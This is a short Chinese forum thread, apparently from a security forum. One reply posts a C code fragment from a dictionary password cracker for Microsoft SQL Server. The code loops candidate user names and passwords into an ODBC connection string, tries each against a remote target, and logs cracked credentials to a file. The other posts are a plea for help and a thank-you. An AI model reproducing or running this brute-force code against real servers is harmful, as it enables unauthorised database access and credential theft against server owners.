能力值:
( LV2,RANK:10 )
2 楼
就没人帮俺一把
能力值:
( LV9,RANK:380 )
3 楼
strcpy((char *)ConnStr,"DRIVER={SQL Server};SERVER=");
strcat((char *)ConnStr,target);
strcat((char *)ConnStr,";UID=");
strcat((char *)ConnStr,dict_user[x]);
strcat((char *)ConnStr,";PWD=");
strcat((char *)ConnStr,pwd);
strcat((char *)ConnStr,";DATABASE=master;Port=");
strcat((char *)ConnStr,port);
//printf("\r\n%s\r\n",ConnStr);
//创建数据库应用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
goto exit;
}
//设置ODBC版本环境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
goto exit;
}
//创建连接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR *)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
goto exit;
}
//连接数据源
retcode= SQLDriverConnect(hdbc,NULL,(SQLCHAR *)ConnStr,SQL_NTS,\
(SQLCHAR *)szBuffer,sizeof(szBuffer),&swStrLen,\
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
//连接失败,函数终止
//printf("\nCouldn''t connect to %s MSSQL server.\n",target);
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
SQLFreeHandle(SQL_HANDLE_ENV, henv);
goto exit;
}
printf("connect successfully!\r\n");
//连接远程MSSQL Server数据库成功
Cracked=TRUE;
strcpy(passwd,pwd);
memset(lpSaveStr,0,sizeof(lpSaveStr));
wsprintf(lpSaveStr,"\n\nSuccess!%s SQL Server User [%s] passwd is [%s].\r\n",target,dict_user[x],passwd);
printf("%s\r\n",savefile);
SaveToFile(savefile,lpSaveStr);
//断开连接
SQLDisconnect(hdbc); //释放连接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc); //释放环境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
能力值:
( LV2,RANK:10 )
4 楼
终于搞明白了,使人感谢楼上,虽然感谢的有点晚